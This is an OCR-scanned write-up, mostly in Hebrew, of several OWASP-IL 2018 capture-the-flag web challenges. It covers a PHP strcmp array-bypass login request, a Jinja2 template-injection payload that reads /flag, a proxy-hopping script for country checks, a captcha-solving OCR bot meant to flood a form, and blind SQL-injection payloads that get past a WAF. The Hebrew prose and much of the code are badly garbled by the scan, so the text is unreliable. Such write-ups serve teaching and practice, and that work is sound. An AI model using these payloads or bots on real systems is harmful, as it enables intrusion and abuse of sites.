return render_tesplate( index.htal”, resultsevaluate(c) if ¢ is not Mone else =)

if _nase_ «s '_sain_"

t='0.0.0.0°, pOrt-8083, GebugeTrue, theeadedsTrue)

File " /app/ndex.py, line 187, in evaluate
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The Code NaANKX

TheCode
400

| can't believe | forgot the username and password!
| have piece of the code maybe you can help me hack my own website?

URL: http://challenges.owaspil.ctf.today:8082/

Flag Submit

VI X7 ynnunn 7w 077 NPT Nntpnn 0T TR Yora PHP Nowa TIg Yo 1727 NT 1ANKA

TTIpPN Yo 707 .n0wn? NN

require once ('confic
function check param(
return (isset(

}

if (check param('username') && strcmp (
check param('md5') && strcmp (
['connected
header ('Locat
exit();

NUYZI9]) YIN'Y NIYNAX] N'WYIN 07PN D' T2 DR 9IpY7 0¥ ,JANKD DX INS7 nin 2y
NTN2a 0-7 NIY Y N'TNAL NITANNA MY 2 ARIWA NwXan stremp NUYAI9 .PHP nowa stremp
AT7.1T DY NITnNAni

,(http://php.net/manual/en/function.strcmp.php:xan 172 A'¥190 7Y Nanna XNp7 [N1)

NTNNNN 2 NAXRNN W'Y [11'D1n 0 YN DR 'TNN RN XNATN ,N'¥7119] wINn'y'? NnaIT |'7n'7

nin 2y PHP-2 71 )wna wnnwin? 9i0a7 n07nn Ljmmn No'py? 07w Nniro 1son NKY

.null W VTN NTANNA 127 77 7N 12 ARIYALINKA stremp NUYAI9 7W NININNN DK WawY
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Technologic

:0 X1n null wn YW mvonn i PHP nowa

’

= array () ;

strcmp ($Sa, $b) ;

S_POST[‘md5’]-1 $_POST[‘username’] D™LNION NX NNYY? XIn NIYY7? YNRY N 75 ,012'07

"22T0 DR 7271 stremp YYD DR Q1pY7 021 PHP-1 7' )1yn aion nanwny

POST /login.php HTTP/Ll.1

Host: challenges.owaspil.ctf. today:8082

Content-Length: 44

Cache-Control: max-age=0

Origin: http://challenges. owaspil.ctf. today:8082

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleWebKit/537.3& (FHTML, like Gecko)
Chrome/e8.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/webp,inage/apng,*/*;q=0.8
Referer: http://challenges.owaspil.ctf.today:8082/1login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9 he;q=0.8,sv;q=0.7

Cookie: PHPSESSID=E£d33f{bB81B86311b5Zb5el052710£88664

Connection: close

[username []=hacked&mdS[]=hackedisubnit=subnit |

AT

OWASP-IL{PHP_1s_S0_B4d_Th4t_1t_Hurts}
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Recommendation Generator NANKX

Recommendation
Generator

500

Hi Guys, | need your help!

Someone hacked my recommendation system and i can't found the
security breach.

Canyou demonstrate the hacker's steps in order to take over the server
and send me the flag?

URL: http://challenges.owaspil.ctf.today:8087/

Flag Submit

NAN ' RNP? I ar Rwnn 7y Server Side Template Injection-2 oIy DT NANX

.(https://portswigger.net/blog/server-side-template-injection)

NX 'Y UNNWNn DY FTRY W' IWRIN NTWA WXRD LORL NITY W 73571 NanX? no'1Dn Dy
firefox-7 qoIMn T 7Y NIWN TY NPN0 INKRY Ly'7AnNn wnnwnn OY DX QYD nTwAl Y7nnY

:python-2 "armuw 'k Wappalyzer Xajpan

0 Wappalyzer

Web Framework Programming Language
@ Bootstrap 4.00 @ Python

Web Server JavaScript Libraries

™ gunicorn 19.9.0 &= jQuery 331

y¥a7 12011 Jinja2-2 "art D nwna framework-n 7w 1nt Y700 n'7'a0n nTIAvn no'wn miva
:Github-2 Server Side Template Injection-n Nn'wn payload-2 wim'w 1 7v Local File Inclusion

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240b

b0d2d708e2/Server%20Side%20Template%20injections/README.md
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https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md

v
¥
14

.Technoloqgi

X270 DR 17 av¥n Payload-n nx¥nl yaip? e viva

Name
{"__class___ _mro_ [2]_ subclasses__ (J[40](/flagod) read() |}
Who would you like to recommend?

{"__class__._ mro__[2]._ subclasses_ (J[40]{'/flag.tt’).read() }}

Recommendation Generator

Recommender name

OWASP-IL{IAmLOOkingFOrT3mpl4tes} is one of the most
valuable people | have ever met. Both smart and professional.

Experienced, deadline oriented and intelligent person. Highly
recommended.
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Around the world - REAL "anX

Around the world - REAL
500

Hi you! Do you think that you traveled the world? Your mission is to
enter to our site with IP that belongs to country that we request you

Can you do that ? use with REAL IP:)

URL: http://challenges.owaspil.ctf.today:8095/

Flag

Submit

NYUpINN 01NN N1 1N 7v IP N2IMdn MW7 NigY X' naonn .OTIpN NANNKY QUNN 11'N AT 1ANKX

X77) .NUpIann N1TNNAN NYRAN NIX K'NINT NNRA Y7V DYONY 71 ,72TN IR KIXNY 1O NoY

(XFF njppL2 WIN'Y

:N2N V79N Y http://challenges.owaspil.ctf.today:8095 MaNKN 7W 'WXIN 9T

<« C @ @ Notsecure | challenges.owaspil.ctf.today:3095

In order to get the flag you must to serve from Japan (You served from Israel)| Counter: 0/16

upstream 1'Ta1 ,NYpIANN N1'TANN nwh nivt 'ma 9™ N'MIOD YXIIYW Ypan Nunv N7 N2

ANNNN NP'72 '0IN9n 79.138.99.254:8080 'Oj7INON NIYYNNA N9 Y¥A'W D burp suite-7 proxy

https://www.proxynova.com/proxy-server-list/country-se/

2 ARMY N, NTINNIENNR NIXA D71V 701 proxy MY 7w nn'wn '7'on proxynova TNX

Proxy IP

193.234.157.214

155.4.12.61

Proxy Port

Sweden (9)

Philippines (15)

Pakistan (9)

Poland (28)

St Pierre and Miquelon (0)
Puerto Rico (2)
Palestinian Territories (0)
Portugal (4)

Palau (0)

Paraguay (5)

Qatar (0)

Reunion (0)

Romania (14)

Serbia (24)

Russia (151)

Rwanda (0)

Saudi Arabia (3)
Solomon Islands (0)
Seychelles (0)

Sudan (0)

Note: If you do not know what any of these numbers mean, or how to use proxy servers in general, scroll to the bottom of this page

v = All Proxies = v
-

Uptime Proxy Country
0% () IE Sweden - skellefted
0% () = Sweden

0% () E= Sweden - Sollentuna
0% () E= Sweden

0% () E= Sweden - Stockholm

5.0

]

« 3 days ago 5 me

0% ()

E= Sweden - Solna

IR Sweden

YouTube

Anonymity

Elite

Transparent

Transparent

Transparent

Elite

Elite

Transparent

65
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Technologic

72 proxy-n MY NIYAWA 01 proxy NNW 119010 D¥YA ,upstream proxy 7¢ NNTann INKY

NN NMIYNN n'n,?nn NIV .NIYN X¥N1 N2 N7'2aNNN n190 DX I73.|7' nmvnv

Burp Project Intruder Repester Window Help Backsiesh

[ Dasntoara | Target | proxy | mirucer | Repeater | seauencer | Decoder | comparer | extender | Project optons | user optons | Addtonai Scanner Checks | 150N Beautter | Software Vuncrabity Scanner | cSRF | Logger++ | Whatsapp Decoser | Josept |

| (ol 1

s | s v Target: htpichalienges.owaspilcti today:809s 7 (3)

Raw | Params | Heagers | Hex |

-
>

Tn order to get the flag you must to serve from United States (You served from Sweden)| Cownter: 1/16

NN 'NnN ‘NN I]'72'|7 qoial nv NMTPNINN DX NIYXNN NMYN TXN n"aly I]'71'|'NJ N7 N1

.NXAN NYpRAN NR N'NIN7 D'YUNTI 1IX NN
NINAN NI7IYON NIX Y¥AN TWUN NN TIZN DX 112ND N'ONIVIX NIX] NII9N 52 Nx y¥a7 nn v

https://www.worldatlas.com/aatlas/ctycodes.htm anxXnn ni*1an nn'wa N m™im- .1

Session Cookie-1 N1*Tn 7w DW naIwN2 72701 Mwn 798 mawe .2
NITAN NNR'WY NV (X2 NNIX NINOoNN NIFNIX 'MY) N7¢ TIgn Inn N1 Tan My wonn .3
ONRNN DTIINY
7¢ N2IMD X'NINT O M7 1020 D'YNNWNAIE proxynova INK7 N9 D'¥an X pn X7 4
NIAINON NN'YIN TNX proxy NN
Proxy-n MW NT N9 no'v¥yan .5
2 Qo7 DM NNX N9 NTNY LA
AWX TV D 0D'YANE NN'TYID KD MWD 79 NQIND7 0Nay ANy X7 210901 nTna b
.N"190 DX X'NINT N'7X)

22TN NN D'0'9TNI NANKN NN D'7'095nN 11X 22Tn NX naIwN2 I]'71|7I nTna .6

#!/usr/bin/python

import re

import requests

import urllib3

urllib3.disable warnings (urllib3.exceptions.InsecureRequestWarning)

country codes
url = 'http:
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Uu7VkWgUDN : A
mQ.LC A f5k7aWnPQ0ev Ojmld8"'}
response = requests.get (url, cookies=cookies)

for i in xrange(1l7):
country name = response.text.split ( ) [1].split( ) [0] .strip ()
code = re.search(r'{0}\s([A-Z] [A-Z])'.format (country name),
country codes) .group (1) .lower ()
proxy list =
.format (code)
response = requests.get (proxy list, verify=False)

for proxy part in response.text.split (
ip address = re.search(
; proxy part)
if ip address:
ip address = ip address.group ()

port address = re.search( ; proxy part)
if port address:
port address = port address.group (1)

if ip address and port address:
proxy dict = {
S .format(ipiaddress.replace(
port address)
}
try:
response requests.get (url, proxies=proxy dict ,cookies=cookies)

cookies]| ] = response.cookies|
print .format (response. text)

if in response.text:
print .format (response.text)
exit (0)

break

except Exception as e:
pass

‘227N DR 73 TIEn NN NKY

In order get the flag you must to from Ukraine (You served from Bulgaria)| Counter: 5/16

In order get the flag you must to from Australia (You served from Ukraine)| Counter: 6/16

In order get the flag you must to from United States (You served from Australia)| Counter: 7/16
In order get the flag you must to from Albania (You served from United States)| Counter: 8/16
In order get the flag you must to from Sweden (You served from Albania)| Counter: 9/16

In order get the flag you must to from Brazil (You served from Sweden)| Counter: 10/16

In order get the flag you must to from Norway (You served from Brazil)| Counter: 11/16

In order get the flag you must to from Austria (You served from Norway)| Counter: 12/16

In order get the flag you must to from Lithuania (You served from Austria)| Counter: 13/16

In order get the flag you must to from Portugal (You served from Lithuania)| Counter: 14/16
In order get the flag you must to from Philippines (You served from Portugal)| Counter: 15/16
In order to get the flag you must to from France (You served from Philippines)| Counter: 16/16
OWASP-IL{World T@r Gops S@rry Teur!}

OWASP-IL{werld_Ter_eops_Se@rry Teur!}

Hard nn12 0Manx? |nm yan ,Medium N2 DNANKN 772 IR IM97 110 XD TV
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Break The Captcha - Nightmare Nanx

Break The Captcha -
Nightmare

700

Following the last attack on my website i increased the difficulty of my
human security.
Do you think that you can bypass it with code and flood my form?

URL: http://challenges.owaspil.ctf.today:8085/

Flag Submit

YN NANKA YA DYONY 71 ,NIMY 30-2 captcha MAaNK 15 NN9Y 17y ,0TIEn NANKY? anim
qomal WNI' Ndalon captcha DYON N7 w'W NIXAYZ N1 AN YR X' OANRD 7Y 'WIpn Nl

Tonnn 70N

Your mission is solving 15 captcha's in 3@ seconds! can you do
it? :P

Solved: @

Submit

N'¥IN7I NINNN DX NIYOY7 710' AWK DTIPN NANKRNN UOMPON NK 1775w NANKN NIX 1IN9Y Nin 7y

.00pPLN NX NINN

NN 1NNWI NIYPA 1900 yXa captcha-n DX Tay7? n'7'NN 1177V VOPLN NIX X'XINY NI AW D

Jwnn NTINY captcha-n nnmn rb)

.UOZLN NINIY? NYPANN NIY N72PNNN NINNNE 27 YAy VoL 0'7'an 07DYW NIXYY? NN N1
INQN 91X NINNA D'YIAND 7W NN YIXA] IR'Ya K0ANN V9OoN 717DV
2INYY INIR 97N 27 20'901 nTna A1

277 IMIX 9'7m1 1INW9D yay 70 Yop'onl nTna .2
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27 Y71 22 Y N yaxa 0o7uN TWKRD 0T [9IX] VOV KIZ pytesseract 21Tmn D |"x¥7 21wWn

ImageFile.LOAD TRUNCATED IMAGES = True
png file = PngImagePlugin.Image.open ('captcha.png')
width, height = png file.size

for i in xrange (height) :

for k in xrange (width) :
ab = png file.getpixel ((k
if ab[0] != 255 or abl[l]
png file.putpixel ( (k,
else:
png file.putpixel ((k,

png file.save ( )

text = pytesseract.image to string(Image.open('captcha2.png'))

D'V'9IN DI'RI DN90NI NIMIN DI'RY DN 700 TINY text-n 0'yS7w 17 nw T'mnn qioa

.captcha-a 7vi19a

00p7UN NN (hiy) NI D'NIMma DUYnNn 75 NX ]300 AWK XAN T NX N2ND |D'7

# clean bad characters from captcha for example (space, backtick and so)

return .join (map (lambda data: data if data in string.ascii letters or data in
string.digits else , text))

:INQN NRAITD DX YXANY TI7 122N MIMNN DX NN17 N8N INKRY
NUND7 NYRA NNYY T Y 9Tin 'onnnn 7a2ann Nk 0bwin L1

http://challenges.owaspil.ctf.today:8085

727 10 My w1 ann
NAIND] 9 T7 NYpa NNY7Y T 2y Tnn captcha-n NX 0Dwin .2

http://challenges.owaspil.ctf.today:8085/captcha.php

.NMINNN DX D TImI

NXNY T2 nwnnwn WK fix_captcha() n'¥j72192 win'y "1 2¥ DImnNnn VOFLVN NKX O'X'XIN .3
27 DTIR

0VOPLN NK N7DN NXRYINN DX .NRXINN DX D'NNINE NY? D2IMIN 70 DY NYpPan X o'nIv .4
DANKRN DX NIND7 1IN7¥N OWASP-IL

2 DRI XMN TN

from PIL import Image, PngImagePlugin, ImageFile

import requests
import pytesseract
import string
import re

import numexpr

def () :
ImageFile.LOAD_TRUNCATED_IMAGES = True
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Technologic

png file = PngImagePlugin.Image.open ('captcha
width, height = png file.size

for i in xrange (height) :

for k in xrange (width) :
ab = png file.getpixel((k, 1))
if ab[0] != 255 or ab[l] != 255 or ab[2]
png file.putpixel ((k, 1), (255, 255,
else:
png file.putpixel ((k, i), (0, 0, 0))

png file.save ( )

text = pytesseract.image to string(Image.open ('captcha2.png'))

return .jJoin (map (lambda data: data if data in string.ascii letters or data
in string.digits else , text))

() :

response = requests.get (captcha url, cookies=cookies)

if response.status code == 200:
with open ( , 'wb') as f:
f.write (response.content)

(response=None) :
if not response:
response = requests.get (number url, stream=True)

for line in response.iter lines():
if in line:
re value = re.search( , line) .group (1)
return numexpr.evaluate(reivalue).item()

number url = 'http://challenges.ov
captcha url =

cookies = dict (PHPSESSID=

headers = {'content-type': 'application/

number = get number ()

while True:
get captcha ()
captcha = fix captcha ()

response = requests.post (number url,
cookies= cookies,
data=
.format (captcha, number),
headers= headers,
stream= True)

if in response.text:
print
elif in response.text:
print
else:
flag = re.search( , response.text) .group (1)
print .format (flagqg)

OWASP-IL 2018%7w-CTF 0 ManKX |NNOS
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raw_input (" [*] Done!")

number = get number (response)

M2 DR 721 TIn DR XN

captcha!
ect!
captcha!
ect!
ect!
captcha!
captcha!
captcha!
captcha!
"rect!
captcha!
"rect!
ect!
captcha!
captcha!
ect!
captcha!
ect!
ect!
captcha!
captcha!
captcha!

captcha!
ect!
captcha!
ect!

ect!

captcha!
captcha!
captcha!
captcha!
captcha!

ect!

captcha!

captcha!

captcha!

captcha!

captcha!

captcha!

captcha!
FLAG: OWASP-IL{I 4M Th3 OCR_N1nj4!}
Done !I
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Flags, Flags, Flags "anx

Flags, Flags, Flags
750

There are so many flags but where is my flag!!! :(
Please find my flag | know it's here...

URL: https://challenges.owaspil.ctf.today:8443/

Flag Submit

227 DIN 7200 ANKA '9'¥90 YT IN'RIE HTTP/2.0 717101N192 N NMIAYN NN 701V DT NANK

NN1] XN 7D ,0N'11 INYO'R "NNony nN7w 72TN DX NIXNYZI 0'72TN NI |II'D.'7 X' NANXKN N1UN

ANNKN
€« C O | A Notsecure | hips//challenges owaspil.ctf today: trlee O @ $ B E
INTERNATIONAL FLAGS
= | = = === -
= | = === e a
Al GHANISTAN AL RICAN ALAND ALBANIA ALGEIIA ANDORRA ANGOLA ANGUILLA ANTIGUA & ARGENTINA ARMENIA ARUBA
Siavs  m— =
- .
| e— | .
RN ARG GRRAW  BRNG R I s i b b
LANDS
= e Noc”
ol = N O RS - e 1
[— ] -
BERMUDA BHUTAN BOLVIA DOSNIA BOTSWANA DRAZIL DRUNCI BULGARIA DURKINA BURUND! CAMBODIA CAMEROON
HERZECOVINA
o+ . I == =F * =
c— ——— <)
‘ F—— s e
CANADA CANARY CAPE VERDE CATALONIA CAYMAN CENTRAL HAD CHILE CHINA COLOMBIA COMOROS CONCO
i o oty
RCPUBLIC
-
= I F T -
b | =

DMANKA D'019) Burp Suite N12INA Spider-n *72 NIY¥XNXA NVIYD NP0 DY NANKN DX 170NN
:D1MYNn 0Y¥ap 2 117 MR YR (DMTIpn

NetherlandsAntilles-flags-cat o

bhutan-flags-cat e

:NNQN NMINNA NIKYY |NIY NN

I Fitter: Hiding out of scope and not found items; hiding CSS and general binary content; hiding 4xx responses; hiding empty foiders

Nepal-flags-cat.png Al Contents

Netheriands-flags-cat.png
Status 4
NetherlandsAntilles-flags-cat sl jiMefhoc S|,UR fiBacon:a iLempthsa| ANME:typasiif

NetherlandsAntiles-flags-cat png | hitps:/ichallenges.owas. GET Ifiags/bhutan-flags-cat

NewZealand-flags-cat.png
Nicaragua-flags-cat png
Nigeria-flags-cat.png

P B E A PP
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INQD TN DX DR 17X D'¥apn TNRY MY naiwnn 7y 7DN01 DX

Look closely... you just received it :)
221 72T DR 7R K7 0 709N 7R 7K 07 AT Nk narpw kM

N¥Zn DAY 2 Mvnn N nnat (/https://www.wireshark.org) Wireshark n1dimn nx nnno

[2'71 HTTPS Niy¥nX2 N19XIN NMIAYNN D 17 0'wl .nwy

NIOXINN NMIAVNN DX NIXYT7 7211 X7 - ARXIN 117 27 X7 77hn N2 nnma Wireshark-2 win'w

(NN'wn ¥ '0190 NN9NN DR 117 |'RY |11'DN)

72 NX WNY7 DTOTA DX TANY N1 ,NIYNN NNRYS7 NS0 NNWOX Nn*'p NNT Oy TN

NN MWY97 N71D'0 DX ' Wireshark-47 7221 NN'YUnN N19¥N7 D'YNWUN TUX 0'0N'oN NINNSNN

.NAVNN

0NN9N NIYXAKRKA NINNO9AN 72 DX INWY |9TOTN NX 2TANYT 127V NRT NIWY? nan 7y

--ssl-key-log-file

-1 DN WNNWNYT ' IWORY CTD NN'WN NINNSN 70 NIXK '0NIVIR |9IX2 MMY' [9TOTN DXV YOI

JINYI9NN MIAYNN 21N NI9X71 Wireshark

‘XN [DIXR]2 N'YYI A0NION DY [9TOTN NXN

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --ssl-key-log-
file=%USERPROFILE%\sslkeys.pms

NX'N7 T2V ,YaIn NIk NINNONN DX NNZ7 Wireshark-n IR ' Tan? 11'2y nTIon n¥an NX?

.SSL niwY'7 Nayni Preferences 7y

2 sslkeys.pms Y277 2'nan DX |'TA7 12'7v DT 1702

£ Wireshark - Preferences ? X

SKYPE A
SliMP3

SMB

SMB2 SSL debug file
SMBDirect [

Secure Sockets Layer

RSAkeyslist | Edit..

Browse...

smP Reassemble SSL records spanning multiple TCP segments
SMPP Reassemble SSL Application Data spanning multiple SSL records
SMRSE [] Message Authentication Code (MAC), ignore "mac failed”

Fre-Shared-Key |

(Pre)-Master-Secret log filename

SNMP |c:\users\roman\sslkeys.pms Browse...

Socks
SolarEdge
SoulSeek
SoupBinTCP
SPDY
Spice
SPRT
SRVLOC
Sscop
SSDP

SSH

SSL
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:MYISNN VTN 70 NR NIRI? 170N DX 117 U nYOw nXM Wireshark-7 21Tna ox

A ‘wi-si
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
L RE QewSF ST AQQH
W [ip.addr == 52.47.109.161
to. Time Source Destination Frotocol Length Info
6999 192.591444  10.10.10.6 52.47.109.181 HTTP2 129 HEADERS[19]: GET /flags/font-awesome.css
7000 192.591751  10.10.10.6 52.47.109.181 HTTP2 126 HEADERS[21]: GET /flags/widgets.css
7001 192.592351  10.10.10.6 52.47.109.181 HTTP2 133 HEADERS[23]: GET /flags/menuzord-gradient.css
7002 192.592758  10.10.10.6 52.47.109.181 HTTP2 132 HEADERS[25]: GET /flags/menuzord-custom.css
7003 192.593205  10.10.10.6 52.47.109.181 HTTP2 143 HEADERS[27]: GET /flags/conditional-responsive-lightbox.css
7004 192.594007  10.10.10.6 52.47.109.181 HTTP2 126 HEADERS[29]: GET /flags/amlabel.css
7005 192.594501  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[31]: GET /flags/styles(1).css
7006 192.595354  10.10.10.6 52.47.109.181 HTTP2 127 HEADERS[33]: GET /flags/amshopby.css
7007 192.595792  10.10.10.6 52.47.109.181 HTTP2 137 HEADERS[35]: GET /flags/CelebrosAutoCompleteV3.css
7008 192.595963  10.10.10.6 52.47.109.181 HTTP2 127 HEADERS[37]: GET /flags/downloads.css
7009 192.596416  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[39]: GET /flags/sociallogin.css
7010 192.596657  10.10.10.6 52.47.109.181 HTTP2 133 HEADERS[41]: GET /flags/mobilesociallogin.css
7011 192.596769  10.10.10.6 52.47.109.181 HTTP2 126 HEADERS[43]: GET /flags/snippets.css
7012 192.597697  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[45]: GET /flags/glyphicons.css
7013 192.598115  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[47): GET /flags/styles(2).css
7014 192.599104  10.10.10.6 52.47.109.181 HTTP2 130 HEADERS[49]: GET /flags/util.carousel.css
7015 192.599724  10.10.10.6 52.47.109.181 HTTP2 134 HEADERS[51]: GET /flags/util.carousel.skins.css
7016 192.600063  10.10.10.6 52.47.109.181 HTTP2 133 HEADERS[53]: GET /flags/addressvalidation.css
7017 192.601132  10.10.10.6 52.47.109.181 HTTP2 167 HEADERS[55]: GET /flags/afghanistan-flags-cat.png
7018 192.601646  10.10.10.6 52.47.109.181 HTTP2 139 HEADERS[57]: GET /flags/african-american-flags-cat.png
7019 192.636246  52.47.109.181 10.10.10.6 Tce 1514 8443 » 60010 [ACK] Seq=40613 Ack=1137 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
7020 192.636246  52.47.109.181 10.10.10.6 TP 1514 8443 » 60010 [PSH, ACK] Seq=42073 Ack=1137 Win=31360 Len=1460 [TCP segment of a reassembled PDU
7621 192.636248  52.47.109.181 10.10.10.6 e 1514 8443 + 60010 [ACK] Seq=43533 Ack=1137 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
7473 107 £3c740_£3 47 108 101 1010 10 < xen. 15440447 . £0AIA CAMKL Com AAOAI Al 2437 Liin I1IEQ L an 1ACO_LTEN - ammand af a amasmamblod OOUL

4 17w NR)

,bhutan-flags-cat yaIpn XnaIT ,72pnn 22Tnw vy 0'¥apn TART V1M Y¥I) DX

:PING nian

9626 387.
9627 387.
9628 387.

9612 387.763879 10.10.
9613 387.763757 10.10.
9614 387.764402 10.10
9618 387.839357 52.47.
9619 387.839357 52.47.
9620 387.839386 10.10.
9621 387.839520 10.10
9622 387.839718 52.47.
9623 387.839719 52.47.
9624 387.839747 10.10.
9625 387.8408457 10.10.

840513 10.10.
840556 10.10.
840596 10.10.

10.6
10.6

.10.6

109.181
109.181
10.6

.10.6

109.181
109.181
10.6
10.6
10.6
10.6
10.6

.47.109
.47.109
.47.109
.10.10.
.10.10.
.47.109
.47.109
.10.10.
.10.10.
.47.109
.47.109
.47.109
.47.109
.47.109

181 TLSvI 2 105 Change Cipher Spec, Finished

.181 HTTP2 147 Magic, SETTINGS[@], WINDOW_UPDATE[0]

181 HTTP2 418 HEADERS[1]: GET /flags/bhutan-flags-cat

6 HTTP2 92 SETTINGS[0]

6 HTTP2 92 SETTINGS[]

181 Tcp 54 60019 > 8443 [ACK] Seq=1055 Ack=223 Win-65280 Len=0
.181 HTTP2 92 SETTINGS[@]

6 HTTP2 418 DATA[1]

6 HTTP2 92 DATA[1] (text/html)

.181 TcP 54 60019 > 8443 [ACK] Seq=1093 Ack=625 Win=65024 Len=0
.181 HTTP2 100 PING[0]

.181 HTTP2 100 PING[0]

.181 HTTP2 100 PING[0]

.181 HTTP2 100 PING[0]

X2 flag-n NX N72'7w NRN1 NI72ANN 7 DINN DX N1 DX

OWASP-IL{This_is_the_real_flag}

Look closely... you just received:

:DOPLN NX INNKX TN

‘ Wireshark - Follow SSL Stream (tcp.stream eq 294) - Wi-Fi

1_flag}...
U T Look closely.. you just received it :).........

NOMAN XIN HTTP/2.0 Nj7'v> HTTP/2.0-2 2AIMD NANKN A7 DNNW DXY X'N D901 NIMyn ATI7A

v' wTNn 721710197 L(HTTP/1.1) 1997 tThn [IYXIN N0 |IDTY ATl HTTP 21710197 nwTnin

.PING nn"?w 12> NIS0N NI712'1 NNVAX ,D'VIX |12 NiA"Y nnnt

[TV NN'WN OXD NPT '917'NYT IR ITNYTI Y1anT? n19Y% nipn nth Nz'T1a7 (12 XN PING-n

PING ni7an 4 n72'pw NIXA7 N2 MaNNA D71 0'N2 8 7T data 9'oin? [N PING-7 ,nnImo

N'7'an 702 0'in 8 nionw

OWASP-IL o
{This_is e
_the rea o
|_flag} o
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Alcatraz "anx

Alcatraz
850

Hi,

| armn Frank Morris,

| need your help to escape prison,

| heared it's very easy for you and | hope it will be the case this time,
Please get the Alcatraz administrator password from their website and
1 will pay you well.

URL: http://challenges.owaspil.ctf.today:8081/

Flag Submit

7272 "anK7? nodN oy .White List no'wa w190 WAF Bypass-1 SQL Injection-2 701V 0T NANK
.id ,(TNX "VN 7'onn URL

http://challenges.owaspil.ctf.today:8081/profile.php?id=1

NN NYRA NNY7W NIYNKA id 10N19Y7 ta? [N DRN P17 no1

http://challenges.owaspil.ctf.today:8081/profile.php?id=1"'

:SQL Injection NINTA D' MANKD [NND - 1ITA DY DAIYN 'K

HTTP/1.1 200 OK

Date: Sun, 16 Sep 2018 08:34:13 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.9

Vary: Accept-Encoding

Content-Length: 169

Connection: close

Content-Type: text/html; charset=UTF-8

SQL error: You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for
the right syntax to use near '\' LIMIT 1' at line 1

TINY? NIx ' WAF 2In nTiay 75 1nd> JWAF - 710 Nanxa W'y 1*7"2 payload 7y nTiay 1 N
D 1272 TINA NN I0K NNl NIm nn Tin%7 oknnal (white/black list) Taly WAF-n no'w nm'xa
TN .D'TNI'D D'IN'0 IRWI %29-%20 ,0'"'wNa ,0'NIN 10N 12'val White List-n nu'wa Ta1ly WAF-n
INIY RTHA TR NIM2IX NIFNIR NN DX .NIF72IX DNIFNIRE N0 L,7'09 ,0'712Y D'MAI0 7N nn

121 instr, stremp, substr, char > Native SQL Ni*¥j?1192 wnnwiny
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if (condition, case true, case false)

https://mariadb.com/kb/en/library/if-function/

instr(strl, str2)

https://mariadb.com/kb/en/library/instr/

NYUNNUN [N NiX21ion 7v 7aon

tif n'¥PIIon

:NQN [9IN2 Manann if NXRI9N

;901 yT'NY

:instr n'¥72190

.str1-2 7210 str2 DX true NNTNN instr N¥PII9N

:qon yTnY

:substr N'¥719n

NN NM'TNAl length-n IN?E from DIz'AN str NTNNAN DR NATIA substr(str,from,length) n'x¥ja1on

https://mariadb.com/kb/en/library/substring/

NTANNN NN

:qon yTnY

:char n'x219n

X2"10 900N 7w ascii-n AIX"'N DR NYTANE 90N N7apn char n'yjIon

https://mariadb.com/kb/en/library/char/

if(instr(substr(password,1,1),char(1)),13,0)

:N2N payload-n NX Nx' D¥YY2 D

TNIRYINND 2y V2l intruder-7 INIK "pNN"

Request | Payload | Status | Error | Timeout | Length | Comment
79 79 200 g [ 2728
111 111 200 O O 272
0 200 O [T,
1 1 200 ] O 217
H 2 200 d O 217
3 3 200 ] O 217
! Fl 200 g ] 217
5 5 200 U ] 217
6 6 200 O [IT;
7 7 200 ] O 217
g g 200 ] O 217
9 9 200 ] O 217
10 10 200 ] ] 217
11 1 200 g [ 217
12 12 200 O (1T,
13 13 200 O [T,
14 14 200 ] O 217
15 15 200 d O 217
16 16 200 ] O 217
17 17 200 ] ] 217
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Technologic

2w 0NN 75 N1y mwnn P L0 - ' IWRIN MDY o 111-1 79 7w 17 AThw NIKYY N2
INAN 72TN NN 17271 kno'on

OWASP-IL{l am_the WAF_bypass_master!}

Did'o
ANPRNON DINN 7¢ Q'0R"7ORN KW Tpnnn N7 010 ,7xwa OWASP 01> D'pnn mw *T'nd
"D NIYATIN NIZID1AI I'DINA MY D'N DNANKNNA TNXR 72 AwWKRD CTF 1anX D*pnn 0100 NNaona

JA'0R™MONND D71V T7ANN R LINIX INS9Y

D'7'NNNN 70777 D2 NR9Y7 INY7XN DMANKNY D ,NYRI 2122 77 ,'Uig DN wi?w? 77nNn anKn

.CTF-n yN'~2 9NNWNY7 DINNA D'WIN 7 NANY NWRY7 TWON 221 INI' 0'onnn 707 nal

JNND7 0DTA DRI NA'WNN DT DX 77100 DNANKNNA TNX 727 [INN9N DX 1V'9 0T JNonNa

nV7NN P71 YYD 75 DA TIM'% 1235 DA DUINN IWR DT 210N DNANK NDN1] DTN X

11NN NX DO1DY

XN 'WIXR ' 7w 217'Y N NPT DNANKD 72 DR JIN9Y7 'O NIX NTIAY AWAT D '8N N2

.DIIY NRINNSI NI I73.|7'7 22 NID7NNN ' AN DALY 'MN2 NTIAVI

V219 'Y 7¥ NIYT7IN NN DY

AN L1 Y D'RAN DNANN DR 770 178 NNIY N2amMdY7 121 Checkpoint 7w Niw7inn Agnn Ny
DNANKRD 77 P D TATR 730, mi70 7R )N TYY7 0T N9 020 |I7NLUNT

JINNNN TVINA DN T-7V NN T 1INN2 D'RAMN
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197 'V TIN QI0'X YIX? DTMF nlySna win'y
NOC/SOC no'n

|T 'MMX NXN

Nian

[N7¢ nwNNN K7W KW RPN NN N11970 NI0oIan 'Mioyn 2y N9 Mand 1ava

."DTMF Decoder- Dual Done Multi Frequency" 'Nzn 19700 "2*7% 7w N1yona 'Nunnun

,ANIT NP0 TYD Wnnn? A ANd1 At nNnn
